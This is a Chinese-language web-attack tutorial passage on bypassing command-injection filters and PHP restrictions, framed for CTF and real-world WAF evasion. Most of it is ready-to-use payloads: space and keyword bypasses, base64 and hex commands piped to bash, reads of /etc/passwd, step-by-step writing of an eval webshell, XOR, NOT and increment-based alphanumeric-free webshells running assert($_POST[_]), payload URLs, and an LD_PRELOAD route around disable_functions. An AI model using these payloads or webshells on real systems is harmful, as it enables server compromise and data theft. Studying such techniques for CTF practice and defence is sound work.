空格是命令分隔参数的核心字符,因此也是最常被过滤的对象。

6.1.1 $IFS(内部字段分隔符)

IFS(Internal Field Separator)是 Shell 用于拆分命令参数的环境变量,默认包含空格、制表符和换行符

Shell 在解析命令时,会使用 $IFS 作为分隔符进行参数切割,因此可以用它等价替代空格

需要注意的是,$IFS 必须显式终止解析,否则会被当成变量名的一部分。

cat${IFS}file.txt
cat$IFS$1file.txt

常见可用的“空白等价变量”包括:

  • ${IFS}:字段分隔符
  • $9${9}:空字符串
  • ${PS2}${PS4}:Shell 提示符变量(特定场景)

6.1.2 输入 / 输出重定向

Shell 支持使用重定向符号 <> 传递数据,而无需空格参与参数分隔

whoami>haha.txt
# 可以将命令的执行结果写到某个文件里面

cat<haha.txt
# 比如cat就可以接收输入重定向的内容,并且显示出来

在无参 RCE、空格过滤场景中,重定向是极其重要的绕过手段。

6.1.3 通配符绕过

Shell 会在执行前对通配符进行展开(glob),从而实现参数自动补全

  • *:任意长度字符
  • ?:单个字符
  • [a-z]:字符范围
cat f* # 匹配上f开头的文件
cat flag.?hp
cat fla[a-z].php

通配符在“文件名未知 / 参数受限”场景中非常有效。

6.1.4 大括号展开 {}

大括号用于生成字符串组合,Shell 会自动尝试展开并匹配存在的文件。

cat demo.ph{a..z} # 会查看demo.pha一直到demo.phz文件,中间有一个会被匹配上
{cat,flag.php}

在参数受限或无空格条件下,{} 可以替代参数分隔逻辑。

6.2 Windows 环境变量截取绕过

Windows CMD 支持对环境变量进行字符串截取,可用于构造单字符或关键字。

在Windows 中, %commonprogramfiles% 是一个系统环境变量,表示所有用户共享的程序文件夹(例如C:\Program Files\Common Files )。而 %commonprogramfiles:~17,-6% 是一种字符串操作语法,可以从 %commonprogramfiles% 变量的第 17 个字符开始,截取到倒数第 6个字符之前的子字符串,然后将结果作为新的字符串值使用。 具体而言, :~17,-6 表示:

  • ~17 :从第 17 个字符开始截取。
  • -6 :截取到倒数第 6 个字符之前。

因此,如果 %commonprogramfiles% 的值为 "C:\Program Files\Common Files" , 则%commonprogramfiles:~17,-6% 的值应该是 "Common" 。这是因为从第 17 个字符开始到倒数第 6 个字符之前的子字符串就是 "Common" 。

C:\Users\simid>echo %commonprogramfiles:~17,-6%
Common

这种绕过方式,在下面的无参RCE部分比较常用。此处仅作了解。

6.3 常见绕过 Payload 示例

6.3.1 Linux 示例

cat$IFS$1flag.php
cat${IFS}flag.php
cat$IFS'f'lag.php
cat$IFS\flag.php
cat$IFS?lag.php
cat<flag.php
{cat,flag.php}
ca\t fl\ag.php

URL 场景下还可结合编码:

  • %20 → 空格
  • %09 → Tab

6.3.2 Windows 示例

type.\shell.php
type,shell.php

6.4 Fuzz 字典与字符探测

Fuzz 的核心目的不是“直接利用”,而是确认哪些字符被过滤、哪些仍可用

Fuzz testing,也叫做模糊测试或随机测试,是一种自动化软件测试方法。它使用大量随机数据输入,以观察程序在面对非正常输入时会发生什么。该方法的主要目的是发现程序中的漏洞、错误或异常行为,以便针对这些问题进行修复和改进。Fuzz测试可以应用于各种软件应用程序,包括计算机操作系统、网络协议、数据库管理系统等。 通过fuzz字典,我们将内容提交给网站,观察返回的页面,从而推断出可能存在的屏蔽和绕过的可能 关于fuzz字典的收集,参照https://github.com/TheKingOfDuck/fuzzDicts

~
!
@
#
$
%
^
&
*
(
)
<
>
_
+
-
=
\
/
]
[
{
}
;
:
'
"
|
?
.
,
{IFS}
$IFS$9
%path:~10,1%
%homepath:~10,1%
%userprofile:~12,1%
%programfiles:~10,1%
%processor_identifier:~3,1%
%processor_identifier:~7,1%
%commonprogramw6432:~10,1%
%commonprogramfiles(x86):~10,1%
%commonprogramfiles:~10,1%
%commonprogramfiles:~10,-18%
%commonprogramfiles:~23,1%
%commonprogramfiles:~23,-5%
%fps_browser_app_profile_string:~8,1%

6.5 利用通配符进行命令定位

* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符, e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符

举例

??? 在linux 里面可以进行代替字母
 /???/c?t flag.php
*在linux 里面可以进行模糊匹配 ,* 进行模糊匹配 php
 cat flag.*

利用通配符绕过限制,并且寻找唯一定向命令
/???/???/????2 flag.php
# 可能匹配到 /usr/bin/bzip2 flag.php

通配符不仅可绕过过滤,还可用于定位目标命令路径

6.6 文件读取的替代方式

catmore 等常见命令被过滤时,可使用“非直观读取命令”。

6.6.1 paste

paste shell.php
paste shell.php /etc/passwd

6.6.2 diff

diff shell.php /etc/passwd

6.6.3 od

od -a shell.php

6.6.4 curl

curl file:///root/shell.php

6.7 编码与解码执行

6.7.1 Base64

echo Y2F0IC9yb290L3NoZWxsLnBocA== | base64 -d | bash
echo YWJjZGU=|base64 -d // 打印出来 abcde

image-20260125165034904

6.7.2 Hex

echo 636174202f726f6f742f7368656c6c2e7068700a | xxd -r -p |bash
# cat /root/shell.php

6.7.3 Unicode / 八进制

printf "\154\163"        # ls
printf "\u0063\u0061\u0074\u0020\u002f\u0072\u006f\u006f\u0074\u002f\u0073\u0068\u0065\u006c\u006c\u002e\u0070\u0068\u0070"
# cat /root/shell.php

6.8 字符串拼接绕过

Shell 允许通过变量、拼接、未定义变量构造命令。

[root@localhost ~]# a=l;b=s;$a$b
[root@localhost ~]# a=cat;b=/root/shell.php;$a<$b
[root@localhost ~]# a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d

未定义的变量就是不存在,可以随意拼接来绕过

[root@localhost ~]# cat$x shell.php

6.9 长度限制绕过

在命令长度受限时,可借助重定向写文件 + 执行文件的方式。

ls > a
. a

在 PHP 的 shell_exec() 等函数中,由于不存在标准输入交互,该方式尤其容易成功。

6.10 命令换行

[root@localhost ~]# cat \
> shell\
> .php

6.11 source / . 执行文件

使用source <文件名>用当前的shell执行一个文件中的命令 在linux下source可以利用.代替

source shell.sh
. shell.sh

6.12 追加写入

在命令执行场景中,如果存在命令长度限制、关键字过滤或一次性输入受限的问题,可以通过多次追加写入文件的方式,将完整内容分段写入目标文件。

原理:

  • 不一次性写入完整内容;
  • 使用 >> 将内容逐段追加到同一文件;
  • 最终在文件中拼接出完整代码或命令。

由于每一条写入命令都较短,且可以规避敏感关键字,因此在实际绕过中非常常见。

基本原理

  • > :覆盖写入文件
  • >>追加写入文件末尾(不覆盖原内容)
echo test > a.txt
echo 123 >> a.txt

最终文件内容为:

test
123

分段追加写入

将一段内容拆分为多次写入:

echo '<?php ' >> shell.php
echo '@eval($_POST[x]);' >> shell.php
echo '?>' >> shell.php

每一条命令本身较短,且可单独绕过长度或关键字限制。

结合转义与拼接

可配合转义、变量拼接等方式进一步降低特征:

echo '<'?'php ' >> shell.php
echo '@e'va'l($_POST[x]);' >> shell.php
echo '?'>' >> shell.php

结合编码形式追加写入

通过编码后的内容进行追加,避免出现明文关键字:

echo 3c3f70687020 >> shell.php
echo 406576616c28245f504f53545b785d293b3f3e | xxd -r -p >> shell.php

注意:

  • 目标文件需具备写权限
  • 写入路径需可控或可预测
  • >> 本身若被过滤,则该方式不可用
  • 在 PHP 命令执行函数中(如 systemshell_exec),该方式成功率更高

6.13 不换行追加写入

在某些场景下,直接使用 echo 追加写入会自动在内容末尾加入换行符(\n), 这可能导致生成的文件语法不连续或格式异常

此时可以通过不输出换行符的方式,将内容连续拼接到同一行中。

基本原理

  • echo 默认会输出换行
  • 使用以下方式可避免换行:
    • echo -n
    • printf
    • \c(部分 shell)

使用 echo -n 追加写入

echo -n '<?php ' >> shell.php
echo -n '@eval($_POST[x]);' >> shell.php
echo -n '?>' >> shell.php

最终文件内容为一整行:

<?php @eval($_POST[x]);?>

使用 printf 追加写入

printf '<?php ' >> shell.php
printf '@eval($_POST[x]);' >> shell.php
printf '?>' >> shell.php

printf 不会自动添加换行,在不同 shell 环境下兼容性更好

7.特殊姿势

本章主要介绍在参数受限、字符受限、函数受限等苛刻条件下,仍然实现代码执行或信息获取的特殊利用思路。常见于 CTF、实战绕 WAF、强过滤环境

7.1 无参RCE

无参 RCE 指的是:

在不依赖用户显式输入参数(GET / POST 等)的情况下,通过程序自身已有的变量、环境、函数组合,实现代码执行或敏感信息读取。

其本质不是“真的没有参数”,而是:

  • 不使用攻击者可控的常规参数
  • 利用 PHP 内置变量、返回值、数组行为、环境状态 拼接出执行链

常见触发条件包括:

  • 使用 eval() / assert() / include() 等危险结构
  • 对输入做了参数名或参数内容限制
  • 程序逻辑本身存在可被“组合利用”的函数调用

下面示例都假设服务端存在类似代码

<?php
if (isset($_GET['code'])) {
    eval($_GET['code']);
}?>

或者:

<?php @assert($_GET['code']);?>

攻击者唯一能控制的地方:code 参数本身 但——不能再额外传参 / 不能出现字母 / 不能出现命令

下述技巧可自由组合,建议在本地 PHP 环境中逐步调试理解。

7.1.1 数组操作

数组函数在无参 RCE 中的核心作用是:

  • 制造数组
  • 控制数组指针
  • 从数组中取出“我们想要的那个值”

这些值往往来自:

  • 当前目录
  • 环境变量
  • 请求头
  • PHP 内部定义变量

常用函数包括:

  • current() / end() / reset() / next() / prev() → 控制数组内部指针
  • array_reverse() / array_rand() / array_flip() → 打乱或重排数组结构
  • getallheaders() → 利用 HTTP 请求头作为输入载体
  • scandir() → 构造“文件名数组”
  • get_defined_vars() → 获取当前所有已定义变量(信息量极大)
函数 功能
Curent 返回数组中当前元素的值
Array_reverse 以相反的顺序返回数组
Array_rand 随机取出数组中的一个或多个单元
Array_filp 交换数组的键和值
getallheaders 包含当前请求所有头信息的数组
get_defined_vars 返回数组中的单元且初始指针指向数组的第一个单元
session_id 返回当前会话ID
session_start 启动新会话或者重用现有会话
scandir(directory,sorting_order,context) 以数组形式返回文件和目录,第一个参数是目录,第二个是排序方式
end 将数组中的内部指针指向最后一个单元
key 从关联数组中取得键名
each 返回数组中当前的键值对,并将数组指针向前移动一步
prev 将数组的内部指针倒回一位
reset 将数组的内部指针指向第一个单元
next 将数组的内部指针向前移动一位

利用示例:

示例代码(服务端被执行)

readfile(array_reverse(scandir(current(localeconv())))[0]);

原理说明:

  1. localeconv() 返回一个数组,其第一个元素通常是 "."
  2. current(localeconv()) 等价于 "."(当前目录)
  3. scandir('.') 返回当前目录下的文件数组
  4. array_reverse() 将数组顺序反转
  5. [0] 取到“最后一个文件名”
  6. readfile() 直接输出该文件内容

攻击者如何利用

浏览器访问:

http://target/test.php?code=readfile(array_reverse(scandir(current(localeconv())))[0]);

执行效果

PHP 自动:

  • 获取当前目录 .
  • 列出目录文件
  • 反转数组
  • 取第一个文件
  • 输出文件内容

为什么叫“无参”?

  • 攻击者 没有提供文件名
  • 文件名来自:
    • localeconv()(系统环境)
    • scandir()(目录状态)
  • 利用的是 函数返回值链条

7.1.2 文件操作

这里的文件相关函数,重点不是“读文件”,而是三类利用目标:

  1. 信息探测
    • 当前目录
    • PHP 版本
    • 文件结构
  2. 源码读取
    • highlight_file()
    • show_source()
  3. 为后续 RCE 提供素材
    • 读取可控文件
    • 读取上传文件
    • 读取临时文件

在 disable_function 或无法直接命令执行的场景下,文件读取往往是代码执行前最重要的信息收集手段,很多无参 RCE 都是从“读文件”逐步过渡到“执行代码”。

函数 功能
Localeconv() 返回包含本地数字及货币格式信息的数组,该函数的第一个值就是”.”
Print_r() 打印变量
Readfile 读取文件并写入到输出缓冲。
pos 取第一个值
chdir 用来跳目录的,将PHP的当前目录改为directory
file_get_contents() 将整个文件读入一个字符串
highlight_file()/show_source() 语法高亮一个文件
scandir() 列出指定路径中的文件和目录
direname() 给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。
dirname() 目录上跳,返回父目录的路径
getcwd() 取得当前工作目录
get_defined_vars() 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
getenv 获取一个环境变量的值
phpversion() 获取当前的PHP版本

示例代码:

highlight_file(scandir(current(localeconv()))[2]);

原理说明:

  1. 利用 scandir('.') 枚举目录
  2. 下标 [2] 通常是第一个真实文件
  3. highlight_file() 直接语法高亮输出源码

利用要点:

  • system / exec 被禁用时,读源码本身就是一种“突破”
  • 常用于:
    • CTF 泄露 flag
    • 审计源码找二次漏洞
  • 本质属于 “无命令 RCE 前置阶段”

攻击者如何利用

前端访问:

http://target/test.php?code=highlight_file(scandir(current(localeconv()))[2]);

执行效果

  • 页面直接高亮显示某个 PHP 文件源码
  • 常见:index.php / config.php

攻击视角:

  • 即使 system / exec 全禁
  • 仍可:
    • 读配置
    • 找数据库账号
    • 找二次 RCE

7.1.3 其他函数

这一部分的核心不是这些函数“能干什么”,而是:

它们可以被当成“积木”,用于构造字符串、函数名或执行条件

例如:

  • chr() / ord():构造字母
  • hex2bin():绕过关键字检测
  • crypt():制造不可预测但可利用的返回值
  • time() / rand():辅助绕过固定规则
函数 功能
chr() 返回指定的字符
rand() 产生一个随机整数
time() 返回当前的Unix时间戳
localtime() 取得本地时间
localtime(time()) 返回一个数组,Array[0] 为一个0~60之间的数字
hex2bin() 转换十六进制字符串为二进制字符串
ceil() 进一法取整
sinh() 双曲正弦
cosh() 双曲余弦
tan() 正切
floor() 舍去法取整
sqrt() 平方根
crypt() 单向字符串散列
hebrevc 将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
hebrevc(crypt(arg))[crypt(serialize(array()))] 可以随机生成一个hash值 第一个字符随机是$(大概率)或者.(小概率)然后通过ord chr只取第一个字符
ord() 返回字符串的第一个字符的ASCII码值

示例:构造并调用函数

$func = chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);
$func();

等价于:

phpinfo();

原理说明:

  1. chr() 可将 ASCII 数字转换为字符
  2. 多个 chr() 拼接形成字符串 "phpinfo"
  3. PHP 7 支持 ($a)() 形式的动态函数调用

利用要点:

  • 不直接出现 phpinfo 字符串
  • 可绕过关键字检测 / WAF
  • 常与 无字母数字、异或、取反 联合使用

其他部分函数使用案例

<?php
print_r(scandir(current(localeconv()))); // 查看当前目录有那些文件

// Array
// (
//     [0] => .
//     [1] => ..
//     [2] => info.php
//     [3] => test.php
// )

print_r(array_reverse(scandir(current(localeconv()))));   // 将数组反转

// Array
// (
//     [0] => test.php
//     [1] => info.php
//     [2] => ..
//     [3] => .
// )

print_r(array_reverse(scandir(current(localeconv())))[0]);  // 拿到指定的文件名

// test.php

print_r(readfile(array_reverse(scandir(current(localeconv())))[0])); // 输出文件内容

// <?php
// phpinfo();
// ?>

print_r(readfile(scandir(current(localeconv()))[2])); // 直接输出文件内容

// <?php
// phpinfo();
// ?>

?>

7.2 无字母数字webshell

无字母数字 WebShell 的核心思想是: WAF 或代码过滤器往往只关注“字符表面”,而 PHP 在运行时允许“运算结果变成代码”。

因此,攻击者并不是“直接写出 assert / eval / _POST”,而是通过:

  • 异或
  • 取反
  • 编码
  • 变量变量

在运行阶段动态还原出真正的函数名与变量名。

7.2.1 异或

实现代码 通过如下代码得到_GET字符的异或

<?php
$l = "";   // 用来保存左侧异或字符串(统一使用 %ff)
$r = "";   // 用来保存右侧异或字符串(可控十六进制)

// 将字符串 "_GET" 拆分成单个字符数组
// 结果为:['_', 'G', 'E', 'T']
$argv = str_split("_GET");
// 外层循环:逐个处理目标字符串中的每一个字符
for ($i = 0; $i < count($argv); $i++) {
    // 内层循环:枚举 0~254 的 ASCII 值
    for ($j = 0; $j < 255; $j++) {
        // 将 chr($j) 与 chr(255) 进行异或
        // 目的是:找出一个字节,使其异或后等于目标字符
        $k = chr($j) ^ chr(255);
        // 如果异或结果等于当前目标字符(如 '_'、'G' 等)
        if ($k == $argv[$i]) {
            // 当十六进制小于 0x10 时,需要补 0(URL 编码格式)
            if ($j < 16) {
                // 左侧统一拼接 %ff
                $l .= "%ff";
                // 右侧拼接 %0x 形式
                $r .= "%0" . dechex($j);
                continue;
            }
            // 十六进制 >= 0x10,直接拼接
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
// 输出最终构造出的异或表达式
// 形式为:('%ff%ff%ff%ff') ^ ('%a0%b8%ba%ab')
echo "('$l')^('$r')";
?>

测试的php代码

<meta charset="utf-8">
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
    // 过滤所有的数字和字母
    $a = $_GET['shell'];
    echo '<br>服务器看到的参数是:' . $a;
    eval($a);
}
?>

使用如下payload

http://localhost:8080/test.php?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

其实传入的是shell=$_GET{%ff特殊字符}();&%ff特殊字符=phpinfo
当服务器读取$_GET['shell']的时候,会拿到一堆乱码,所以waf无法通过规则过滤
即使过滤了所有的字母和数字,一样会触发代码执行漏洞

image-20240228170256481

7.2.2 取反

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

<?php
$a = urlencode(~'phpinfo');
echo $a;
// %8F%97%8F%96%91%99%90
?>

PHP 5 和 PHP 7 的区别 (1)在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用) (2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')(); image-20240228170302682

7.2.3 构造POST

%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t

%A0^%FF=>_    
%AF^%FF=>P 
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T 

$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$$__;
$_($___[_]);

payload

http://localhost:8080/test.php?shell=$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";$___=$$__;$_($___[_]);
# 需要添加POST
_=phpinfo();

image-20240228170309154 下面这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

<?php
$shell = "_POST";
$result1 = "";
$result2 = "";
for($num=0;$num<strlen($shell);$num++)
{
    for($x=33;$x<126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "'" . $result1;
echo "'^'";
echo $result2 . "'";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}
?>

生成的payload为

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
?>

url编码后

http://localhost:8080/test.php?shell=
%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%0A%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%0A%24___%20%3D%20%24%24__%3B%0A%24_(%24___%5B_%5D)%3B

image-20240228170316133 另外一种方法

<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B

$b = urlencode(~'_POST');
echo $b
//%A0%AF%B0%AC%AB
?>

拼接后如下

<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
?>

修改后的payload为

http://localhost:8080/test.php?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

image-20240228170322263 PHP5中,assert()是一个函数,我们可以用_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。下还能这样调用。 image-20240228170327679 PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写 image-20240228170339530

7.2.4 绕过_过滤

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

http://localhost:8080/test.php?shell=?>&%a0=ipconfig

image-20240228170346134

7.2.5 绕过$过滤

php7下面的上面编码已经解决 下面解决php5下面的问题

PHP代码,这次屏蔽$_

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}
?>

Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  1. *可以代替0个及以上任意字符
  2. ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。 但我们尝试执行. /???/?????????,却会报错,因为能被匹配上的文件有很多。 翻开ascii码表,可见大写字母位于@与[之间: image-20240228170453540 那么,我们可以利用[@-[]来表示大写字母:

ls /???/????????[@-[]

image-20240228170502355 当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。 POST数据报文如下

POST /test.php?code=?> HTTP/1.1
Host: 192.168.173.144:9090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close
Content-Type: multipart/form-data; boundary=--------253975810
Content-Length: 145

----------253975810
Content-Disposition: form-data; name="file"; filename="1.txt"

#!/bin/sh

cat /etc/os-release
----------253975810--

image-20240228170508946

7.2.6 CTF实战

题目 index.php

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){ //检测字符长度
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
        die("NO.");
    }
    @eval($code); //$code的值要为非字母和数字
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

flag.php

<?php
    function getFlag(){
        $flag = "111111111111111111";
        echo $flag;
};
?>

解题过程

//_POST和_GET的异或如下
<?php
var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
//也可以使用编码后的版本
var_dump("%ff%ff%ff%ff"^"%a0%b8%ba%ab"); //_GET
?>

webshell

$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=getFlag

$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab"; //_GET
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=getFlag //执行函数 eval("getFlag(null)")

image-20240228170516531 执行任意代码

http://localhost:8080/?code=$_="%ff%ff%ff%ff"^"%a0%b8%ba%ab";${$_}[_](${$_}[__]);&_=assert&__=phpinfo()

image-20240228170521372 也可以使用取反的方式 对getFlag进行取反得到$_=~%98%9A%8B%B9%93%9E%98;$_(); webshell为 image-20240228170527292

7.2.7 webshell汇总

webshell1

<?php
@$_++; //$_=NULL=0  $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

image-20240228170533715 也可以节约长度,将webshell精简

<?php
@$_++;
$__='#./|{'^'|~`//';
${$__}[!$_](${$__}[$_]);
?>

webshell2 中文编码在截取部分之后可以得到英文字符

php > echo ~('瞰'[1]);
a
php > echo ~('和'[1]);
s
php > echo ~('和'[1]);
s
php > echo ~('的'[1]);
e
php > echo ~('半'[1]);
r
php > echo ~('始'[1]);
t

webshell如下

<?php
$__=('>'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// 得到assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
// 得到_POST
$_=$$_____;
// 得到$_POST数组
$____($_[$__]);
// 相当于执行了assert($_POST[2])
?>

image-20240228170540673 webshell3 在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中$a='Z'; a++; 将把 a变成aa,注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。

<?php
$a = 'a';
$a ++;
var_dump($a);
$a --;//无效,不支持自减
var_dump($a);
?>

image-20240228170546178 而在 C 中,a='Z';a++;将把a变成中[Z的 ASCII 值是 90,[的 ASCII 值是 91)。 image-20240228170551583 那么如何拿到字符串'a'的变量呢? 数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:再取这个字符串的第一个字母,就可以获得'A'了。 image-20240228170557067 基于此原理,我们可以构造如下的webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=@$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
@$___($_[_]); // ASSERT($_POST[_]);
?>

image-20240228171307190

7.3 disable_function

可以在phpinfo中查看disable_function,这个其实就是在后端的php.ini写了禁用的函数 image-20240228171311777

7.3.1 预期解法

因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有

  1. highlight_file()
  2. file_get_contents()
  3. show_source()
  4. fgets()
  5. file()
  6. readfile()

7.3.2 其他姿势

c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

7.4 LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。 一方面,可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面也可以以向别人的程序注入程序,从而达到特定的攻击目的。 通过环境变量LD_PRELOAD劫持系统函数,可以达到不调用PHP的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。 想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

  1. 能够上传自己的 .so 文件
  2. 能够控制 LD_PRELOAD 环境变量的值,比如 putenv() 函数
  3. 因为新进程启动将加载 LD_PRELOAD 中的 .so 文件,所以要存在可以控制 PHP 启动外部程序的函数并能执行,比如mail() 、imap_mail() 、mb_send_mail() 和error_log() 函数等

一般而言,利用漏洞控制web启动新进程a.bin(即便进程名无法让我随意指定),新进程a.bin内部调用系统函数b(),b()位于系统共享对象c.so中,所以系统为该进程加载共享对象c.so,想办法在加载c.so前优先加载可控的c_evil.so,c_evil.so内含与b()同名的恶意函数,由于c_evil.so优先级较高,所以,a.bin将调用到c_evil.so内的b()而非系统的c.so内b(),同时,c_evil.so可控,达到执行恶意代码的目的。 基于这一思路,常见突破disable_functions限制执行操作系统命令的方式为:

  1. 编写一个原型为 uid_t getuid(void); 的C函数,内部执行攻击者指定的代码,并编译成共享对象getuid_shadow.so ;
  2. 运行 PHP 函数 putenv()( 用来配置系统环境变量 ),设定环境变量 LD_PRELOAD 为getuid_shadow.so ,以便后续启动新进程时优先加载该共享对象;
  3. 运行 PHP 的mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
  4. 达到不调用 PHP 的各种命令执行函数 (system() 、exec() 等等 )仍可执行系统命令的目的。

